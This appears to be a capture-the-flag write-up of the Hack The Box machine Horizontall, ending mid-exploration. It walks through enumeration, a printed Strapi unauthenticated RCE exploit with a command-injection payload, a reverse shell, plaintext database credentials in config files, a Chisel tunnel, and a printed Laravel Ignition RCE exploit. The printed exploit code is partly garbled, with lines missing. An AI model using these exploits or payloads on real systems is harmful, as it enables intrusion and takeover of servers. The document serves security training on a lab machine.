• Vosman


This is a good easy box to take on. It starts off with some enumeration leading to an exploitable CVE in the password reset functionality of a subdomain you find. The path to root is an interesting one requiring more enumeration and some useful techniques to leverage another CVE within a web service only exposed to localhost on the Horizontall machine.



# Nmap 7.91 scan initiated Wed Sep  1 12:35:31 2021 as: nmap -sCV -vv -oA nmap/nmap_initialScript
Nmap scan report for
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2021-09-01 12:35:32 BST for 7s
Not shown: 998 closed ports
Reason: 998 resets
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL2qJTqj1aoxBGb8yWIN4UJwFs4/UgDEutp3aiL2/6yV2iE78YjGzfU74VKlTRvJZWBwDmIOosOBNl9nfmEzXerD0g5lD5SporBx06eWX/XP2sQSEKbsqkr7Qb4ncvU8CvDR6yGHxmBT8WGgaQsA2ViVjiqAdlUDmLoT2qA3GeLBQgS41e+TysTpzWlY7z/rf/u0uj/C3kbixSB/upkWoqGyorDtFoaGGvWet/q7j5Tq061MaR6cM2CrYcQxxnPy4LqFE3MouLklBXfmNovryI0qVFMki7Cc3hfXz6BmKppCzMUPs8VgtNgdcGywIU/Nq1aiGQfATneqDD2GBXLjzV
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyw6WbPVzY28EbBOZ4zWcikpu/CPcklbTUwvrPou4dCG4koataOo/RDg4MJuQP+sR937/ugmINBJNsYC8F7jN0=
|   256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJqmDVbv9RjhlUzOMmw3SrGPaiDBgdZ9QZ2cKM49jzYB
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  1 12:35:39 2021 -- 1 IP address (1 host up) scanned in 7.68 seconds

OK, initial nmap scans show only two ports open:

22 - SSH : Reveals we're dealing with an Ubuntu server, not much more we can do with this right now

80 - HTTP : A web server running on NGINX 1.14.0 and also reveals a hostname we can use horizontall.htb

I'll also get a full TCP port scan done in the background:

# Nmap 7.91 scan initiated Wed Sep  1 12:36:09 2021 as: nmap -p- -v -n -oA nmap/nmap_fullTCP
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Sep  1 12:36:19 2021 -- 1 IP address (1 host up) scanned in 9.91 seconds

Nope nothing else here.

OK, let's get the hostname added to the /etc/hosts file.

nano /etc/hosts	localhost	ROG-Kali	horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Port 80 - Web-Server

OK, well looking through this site there isn't anything that actually does anything. All the buttons and links are inactive and the contact form at the bottom doesn't appear to work so it's time for some GoBusting.


gobuster dir -u http://horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster_root

Gobuster v3.1.0                                                                                                
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                  
[+] Url:                     http://horizontall.htb                                                            
[+] Method:                  GET                                                                               
[+] Threads:                 10                                                                                
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt                    
[+] Negative Status codes:   404                                                                               
[+] User Agent:              gobuster/3.1.0                                                                    
[+] Timeout:                 10s                                                                               
2021/09/01 12:51:03 Starting gobuster in directory enumeration mode                                            
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]                               
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]                              
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]                              
/.                    (Status: 301) [Size: 194] [--> http://horizontall.htb/./]                                
2021/09/01 12:52:18 Finished                                                                                   

Hmm, well that's a bust.

Getting User

More Enumeration

Right, do our initial enumeration hasn't found much. We have no functionality on the web page, no links and GoBuster was a bust.

Let's put the requests through Burp and see if there's anything else going on in the background we don't see in a normal browser session:

Hmm, cached pages. You can just reload this in the browser developer console but it's easier in Burp's repeater to get the actual response data. So, if we send this request over to repeater ctrl+r and then move over to the repeater functionality in BurpSuite with ctrl+shift+r we remove the If-Modified-Since: and If-None-Match: headers from the request we can take a look at the full web response data for the page we want to look at:

Well this is kind of interesting. The web index.html page doesn't do anything and yet it is pulling in a JavaScript file called app.c68eb462.js. What does this script do on such a static site? As the web response for index.html doesn't contain any of the data that we see in the browser, this script probably generates the elements and populates the pictures/text on the page. Let's pull it down and scan through it to see if there's anything interesting in there that we can use:

Scrolling through this script we find another subdomain call api-prod.horizontall.htb. Let's add this to the /etc/hosts file and go take a look at what's there:

nano /etc/hosts       localhost       ROG-Kali  horizontall.htb api-prod.horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Let's go take a look at this URL:

Ha, well that's a bit limited on information. We could try the full path we saw in the JavaScript, let's see what we have there:

Not a great deal of help but at least we know this is doing something. Let's do another GoBuster to see what we have available:

gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster_api-prod

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/09/01 13:14:05 Starting gobuster in directory enumeration mode
/admin                (Status: 200) [Size: 854]
/Admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60] 
/reviews              (Status: 200) [Size: 507]
/.                    (Status: 200) [Size: 413]
/ADMIN                (Status: 200) [Size: 854]
/Users                (Status: 403) [Size: 60] 
/Reviews              (Status: 200) [Size: 507]
2021/09/01 13:15:35 Finished

Well we have a /admin to go look at. /users is a 403 response code which is Forbidden so we won't get much luck there for now. Maybe we need to revisit that later.

Taking a look at /admin and we get a login prompt:

Try a few unusual suspects for the credentials such as:


No luck there.

Let's try the password reset functionality:

Try an email that won't exist:

Interesting, we get an error message that states the email doesn't exist. I'll send this request over to BurpSuite to make life easier again and see what happens in the request and responses:

So this request took 24 milliseconds to come back. Let's see what happens if we try admin@horizontall.htb:

Interesting, this response took 60,000 milliseconds to come back and gives us the error code 504 Gateway Timeout. This suggests to me that the email/username exists on the system but the email wasn't able to send from the server. Probably because this is a HTB machine and doesn't have that setup properly, but I'm only guessing on that.

Well, we're still at a bit of dead-end at the moment. I'm fairly certain admin exists as a user. I could try brute-forcing the password but I don't know if there is a lockout protection in place so I don't want to lock the account if I don't have to. What else do we know? Well, the admin login page is titled "STRAPI", let's investigate that a little further.

BurpSuite Investigation

Right let's have a look through the web requests and responses when interacting with this login page:

This is interesting, one of the requests made to the server when browsing to the admin login page is to http://api-prod.horizontall.htb/admin/init and this brings back the Strapi version number and also that it's in development environment. This is worth some extra investigation online too.

Google Investigation

Doing a quick Google search for this version we find a vulnerability is known and is detailed on vulndb.com here. Although this information states there is no exploit for this as yet a bit more investigation leads us to a POC on packetstormsecurity.com here.

Here is the code:

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>\n")

class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
        print("[-] Version mismatch trying the exploit anyway")

def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
        print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
    global jwt, url
    print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    terminal = Terminal()

Now, we could try and use this code but it looks fairly simple what needs to be done here.

1. We send a crafted request to the reset-password endpoint and get back a JWT

2. We send another crafted request to admin/plugins/install including our JWT and send a command.

We can really easily do this in BurpSuite. So, let's do that and send a command to get a reverse shell and see what happens.

Exploiting the box

1. Send the crafted request to reset the password:

Here is the code portion we need:

params = {"code" : {"$gt":0},
	"password" : "SuperStrongPassword1",
	"passwordConfirmation" : "SuperStrongPassword1"

We can send any password we want but it can just be left as this. Looking at the code it looks like it might change the first user password with the "$gt":0 part of the code (I'm just guessing though), this is usually the admin user, so let's give it a try:

Nice, that worked! Now we have a JWT we can use, and it did change the admin user which will no doubt gives us some extra functionality to be able to exploit the box and application further.

2. Now we have our JWT let's send the next request:

Here is the code portion we need:

headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)

So, looking at this we need to include the Authorization: header with our JWT and in the body of the request send the plugin: and port: fields. I'm assuming port 1337 is a port listening on the localhost of the server that processes this request but let's try it and see what happens.

Before we go jumping in with a reverse shell straight away let's see if we actually have code execution first. To do that let's send ourselves an ICMP request and setup tcpdump to listen for incoming requests:

tcpdump -i tun0 icmp

Then send our crafted request:

Note: we're using the -c 1 flags as Linux hosts will continue sending ICMP requests forever until stopped if we don't.

We get an error response but:

We get an ICMP request! Nice, we know this RCE is working so let's try getting a reverse shell.

Let's set up a NetCat listener on our host to catch the reverse shell:

nc -lvnp 9001

Create and send out request:

Awesome!! We got a reverse shell.

OK, let's get a better shell:

1. python -c "import pty;pty.spawn('/bin/bash')"

2. ctrl+z

3. stty raw -echo

4. type fg and hit enter twice

5. export TERM=xterm

Now we have a nice tty. It looks like we're the strapi user and we're in ~/myapi directory and there's no user.txt file here. Let's see where this is on the box:

strapi@horizontall:~/myapi$ pwd

OK, so the home directory for this user is in /opt. Let's see what other users are on the box:

strapi@horizontall:~/myapi$ cat /etc/passwd | grep -v "false\|nologin"

There's a "developer" user that has a standard home directory. Can we get to files inside their home directory?

strapi@horizontall:~/myapi$ ls -lash /home
total 12K
4.0K drwxr-xr-x  3 root      root      4.0K May 25 11:43 .
4.0K drwxr-xr-x 24 root      root      4.0K Aug 23 11:29 ..
4.0K drwxr-xr-x  8 developer developer 4.0K Aug  2 12:07 developer

Looks like it's world-readable. Let's list what's inside:

strapi@horizontall:~/myapi$ ls -lash /home/developer/
total 108K
4.0K drwxr-xr-x  8 developer developer 4.0K Aug  2 12:07 .
4.0K drwxr-xr-x  3 root      root      4.0K May 25 11:43 ..
   0 lrwxrwxrwx  1 root      root         9 Aug  2 12:05 .bash_history -> /dev/null
4.0K -rw-r-----  1 developer developer  242 Jun  1 12:53 .bash_logout
4.0K -rw-r-----  1 developer developer 3.8K Jun  1 12:47 .bashrc
4.0K drwx------  3 developer developer 4.0K May 26 12:00 .cache
 60K -rw-rw----  1 developer developer  58K May 26 11:59 composer-setup.php
4.0K drwx------  5 developer developer 4.0K Jun  1 11:54 .config
4.0K drwx------  3 developer developer 4.0K May 25 11:45 .gnupg
4.0K drwxrwx---  3 developer developer 4.0K May 25 19:44 .local
4.0K drwx------ 12 developer developer 4.0K May 26 12:21 myproject
4.0K -rw-r-----  1 developer developer  807 Apr  4  2018 .profile
4.0K drwxrwx---  2 developer developer 4.0K Jun  4 11:21 .ssh
4.0K -r--r--r--  1 developer developer   33 Sep  1 10:01 user.txt
   0 lrwxrwxrwx  1 root      root         9 Aug  2 12:07 .viminfo -> /dev/null
strapi@horizontall:~/myapi$ cat /home/developer/user.txt

Well, looks like the only file we can read is user.txt so that's that flag completed.

Getting Root

Well, we can't see much else in the home directory of the "developer" user so let's take a look in the "strapi" home directory in /opt:

cd ~/myapi

ls -lash
total 648K
4.0K drwxr-xr-x    9 strapi strapi 4.0K Sep  1 17:33 .
4.0K drwxr-xr-x    9 strapi strapi 4.0K Sep  1 18:31 ..
4.0K drwxr-xr-x    3 strapi strapi 4.0K May 29 13:15 api
 12K drwxrwxr-x    2 strapi strapi  12K May 26 14:46 build
4.0K drwxrwxr-x    5 strapi strapi 4.0K May 26 14:46 .cache
4.0K drwxr-xr-x    5 strapi strapi 4.0K Sep  1 18:14 config
4.0K -rw-r--r--    1 strapi strapi  249 May 26 14:31 .editorconfig
4.0K -rw-r--r--    1 strapi strapi   32 May 26 14:31 .eslintignore
4.0K -rw-r--r--    1 strapi strapi  541 May 26 14:31 .eslintrc
4.0K drwxr-xr-x    3 strapi strapi 4.0K May 26 14:42 extensions
4.0K -rw-r--r--    1 strapi strapi 1.2K May 26 14:31 favicon.ico
4.0K -rw-r--r--    1 strapi strapi 1.1K May 26 14:31 .gitignore
 40K drwxrwxr-x 1099 strapi strapi  36K Aug  3 21:43 node_modules
4.0K -rw-rw-r--    1 strapi strapi 1009 May 26 14:31 package.json
540K -rw-rw-r--    1 strapi strapi 540K May 26 14:39 package-lock.json
4.0K drwxr-xr-x    3 strapi strapi 4.0K Jun  2 20:00 public
4.0K -rw-r--r--    1 strapi strapi   69 May 26 14:31 README.md

First thing that jumps out at me is config. Having a look in there we find another directory environments:

cd config/environments

ls -lash
ls -lash
total 20K
4.0K drwxr-xr-x 5 strapi strapi 4.0K May 26 14:31 .
4.0K drwxr-xr-x 5 strapi strapi 4.0K Sep  1 18:14 ..
4.0K drwxr-xr-x 2 strapi strapi 4.0K Sep  1 18:19 development
4.0K drwxr-xr-x 2 strapi strapi 4.0K Sep  1 18:10 production
4.0K drwxr-xr-x 2 strapi strapi 4.0K May 26 14:31 staging

Could be interesting... to save a bit of time let's do a quick grep to see if there's any passwords in any config files:

grep -ri passw

production/database.json:  "password": "${process.env.DATABASE_PASSWORD || ''}",
development/database.json: "password": "#J!:F9Zt2u"
staging/database.json:     "password": "${process.env.DATABASE_PASSWORD || ''}",

Hmmm, this could be useful the password for the development database is in plain-text. Let's take a look at file:

cat development/database.json 

  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      "options": {}

OK, cool we have some MySQL database credentials:

developer:#J!:F9Zt2u Let's try these over SSH in case the developer is reusing passwords:

ssh developer@
developer@'s password: 
Permission denied, please try again.
developer@'s password:

Nope. That's a shame, but oh well, it's better not to reuse passwords for that very reason. The database file indicates this is a MySQL database by the port number so let's see if there's one active on this server:

ss -tlnp

State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port                                                                                    
LISTEN   0         128            *                                                                                       
LISTEN   0         128        *        users:(("node",pid=1792,fd=31))                                                
LISTEN   0         128        *                                                                                       
LISTEN   0         80         *                                                                                       
LISTEN   0         128            *                                                                                       
LISTEN   0         128                    [::]:22                  [::]:*                                                                                       
LISTEN   0         128                    [::]:80                  [::]:*

Down The Rabbit-Hole

OK, there is one listening on localhost ( so let's try connecting to it:

mysql -u developer -p

Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 46
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


Cool, that worked! Let's have a look around and see what we might be able to get out of the database:

Well, this is a bust too. We already know the "admin" user password as we set it with the password reset exploit. After having a look through the other databases it's time to call it and say this is a dead-end.

Climbing Out Of The Rabbit-Hole

Right, let's take a step back here and take another look at what else is running on this box:

ss -tlnp

State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port                                                                                    
LISTEN   0         128            *                                                                                       
LISTEN   0         128        *        users:(("node",pid=1792,fd=31))                                                
LISTEN   0         128        *                                                                                       
LISTEN   0         80         *                                                                                       
LISTEN   0         128            *                                                                                       
LISTEN   0         128                    [::]:22                  [::]:*                                                                                       
LISTEN   0         128                    [::]:80                  [::]:*

Well there is something running on port 8000 on localhost but we can't see what process is as it's not listed here. We won't see anything if we list the processes on this box with the ps command either. So, let's try connecting to it and poking it to see what (if anything) comes out:

Hmm, interesting looks like a Laravel web server indicated by the set_cookie values. If I remember correctly you can exploit a Laravel instance if it's in debug mode. I'm not 100% certain on that but let's have a look at this more closely. To do that we'll need to reverse tunnel the service back to our own host, let's use Chisel to do that.

Setting up a reverse port forward

You can download the latest binary suitable for your operating system from here. I keep my copy in /opt/chisel so I'll send a copy over to my current directory where I am keeping track of all of my progress on this box cp /opt/chisel/chisel_1.7.6_linux_amd64 chisel. OK now I have a local copy ready let's get a copy over to the Horizontall box:

1. On the Horizontall box:

1. cd /dev/shm

2. nc -lvnp 9001 > chisel

2. On our host:

1. nc 9001 < chisel

3. On the Horizontall box:

1. chmod +x chisel

OK, now we have a copy of Chisel on the Horizontall box and made it executable. Let's setup the reverse connection:

1. On our host:

1. ./chisel server --port 9001 --reverse : --reverse allows Chisel clients to specify reverse port forward connections

2. On the Horizontall box:

1. ./chisel client <my server IP address>:<server port> R:8000:

On the server side (mine/your host) you should see something similar to the following:

What we have done here is set Chisel up to be the server side on our host listening on port 9001 and also configured it to allow clients to create reverse port forwards. On the Horizontall box we have configured Chisel as a client and connected it to our server listening on port 9001. We also configured a reverse port forward of the Laravel service listening on localhost port 8000. The client side R:8000: reverse port forward command basically says to the server side "I'm going to send my service on localhost port 8000 through to the server and the server side host should setup a port (in this case also 8000). Any traffic sent to port 8000 on the server side should be sent back through the tunnel and will be directed to the service on localhost port 8000 on the client".

So after this is all setup, if we quickly take a look at what is listening on our host we will see we a listening on port 9001 (the Chisel tunnel) and port 8000 which now has the Horizontall Laravel web service attached to:

ss -tlnp

State    Recv-Q    Send-Q    Local Address:Port    Peer Address:Port       Process                                                                                                        
LISTEN    0        4096  *           users:(("rpcbind",pid=27507,fd=4),("systemd",pid=1,fd=35))                                                    
LISTEN    0        128   *           users:(("sshd",pid=78661,fd=3))                                                                               
LISTEN    0        4096      [::]:111               [::]:*           users:(("rpcbind",pid=27507,fd=6),("systemd",pid=1,fd=37))                                                    
LISTEN    0        50       [::ffff:]:8080 *:*                users:(("java",pid=74282,fd=38))                                                                              
LISTEN    0        128       [::]:22                 [::]:*           users:(("sshd",pid=78661,fd=4))                                                                               
LISTEN    0        50       [::ffff:]:41215 *:*             users:(("java",pid=74282,fd=34))                                                                              
LISTEN    0        4096      *:8000                  *:*             users:(("chisel",pid=155867,fd=8))                                                                            
LISTEN    0        4096      *:9001                  *:*             users:(("chisel",pid=155867,fd=6))

Excellent, now we can browse to the localhost port 8000 on our host and take a look at the Laravel service on the Horizontall box:

I'm not sure exactly how to approach this, so it's time to do some Google research. A quick search for Laravel vulnerabilities confirms that if Laravel is in debug mode it may be possible to gain access to the underlying system. I found a good write up by Ambionics here that explains how it can be exploited.

The blog post also has a link to Ambionics GitHub Laravel Exploits repository here. Let's take a look through the exploit code:

#!/usr/bin/env python3.7
# Laravel debug mode Remote Code Execution (Ignition <= 2.5.1)
# CVE-2021-3129
# Reference: https://www.ambionics.io/blog/laravel-debug-rce
# Author: cfreal
# Date: 2021-01-13
import base64
import re
import sys
from dataclasses import dataclass

import requests

class Exploit:
    session: requests.Session
    url: str
    payload: bytes
    log_path: str

    def main(self):
        if not self.log_path:
            self.log_path = self.get_log_path()

    def success(self, message, *args):
        print('+ ' + message.format(*args))

    def failure(self, message, *args):
        print('- ' + message.format(*args))

    def get_log_path(self):
        r = self.run_wrapper('DOESNOTEXIST')
        match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
        if not match:
            self.failure('Unable to find full path')
        path = match.group(1).replace('\\/', '/')
        path = f'{path}/storage/logs/laravel.log'
        r = self.run_wrapper(path)
        if r.status_code != 200:
            self.failure('Log file does not exist: {}', path)

        self.success('Log file: {}', path)
        return path
    def clear_logs(self):
        wrapper = f'php://filter/read=consumed/resource={self.log_path}'
        self.success('Logs cleared')
        return True

    def get_write_filter(self):
        filters = '|'.join((
        return f'php://filter/write={filters}/resource={self.log_path}'

    def run_wrapper(self, wrapper):
        solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
        return self.session.post(
            self.url + '/_ignition/execute-solution/',
                "solution": solution,
                "parameters": {
                    "viewFile": wrapper,
                    "variableName": "doesnotexist"

    def put_payload(self):
        payload = self.generate_payload()
        # This garanties the total log size is even

    def generate_payload(self):
        payload = self.payload
        payload = base64.b64encode(payload).decode().rstrip('=')
        payload = ''.join(c + '=00' for c in payload)
        # The payload gets displayed twice: use an additional '=00' so that
        # the second one does not have the same word alignment
        return 'A' * 100 + payload + '=00'

    def convert_to_phar(self):
        wrapper = self.get_write_filter()
        r = self.run_wrapper(wrapper)
        if r.status_code == 200:
            self.success('Successfully converted to PHAR !')
            self.failure('Convertion to PHAR failed (try again ?)')

    def run_phar(self):
        wrapper = f'phar://{self.log_path}/test.txt'
        r = self.run_wrapper(wrapper)
        if r.status_code != 500:
            self.failure('Deserialisation failed ?!!')
        self.success('Phar deserialized')
        # We might be able to read the output of system, but if we can't, it's ok
        match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S)

        if match:
        elif 'phar error: write operations' in r.text:
            print('Exploit succeeded')

def main(url, payload, log_path=None):
    payload = open(payload, 'rb').read()
    session = requests.Session()
    #session.proxies = {'http': 'localhost:8080'}
    exploit = Exploit(session, url.rstrip('/'), payload, log_path)

if len(sys.argv) <= 1:
        f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n'
        'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if '
        'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n'
        '  $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n'
        '  $ ./laravel-ignition-rce.py /tmp/exploit.phar\n'

main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None))
Having a quick look through the code we see there is a `get_log_path` function that tries to find the laravel log location on the host, and looking at the `run_wrapper` function:
def run_wrapper(self, wrapper):
        solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
        return self.session.post(
            self.url + '/_ignition/execute-solution/',
                "solution": solution,
                "parameters": {
                    "viewFile": wrapper,
                    "variableName": "doesnotexist"

We can see it makes a HTTP POST request to the /_ignition/execute-solution endpoint, I remember seeing that in the blog post in one of the screen shots. Let's try browsing to that and see what we get:

Right, so it looks like this Laravel instance is in debug mode. Clicking on the 'Context' link we see this: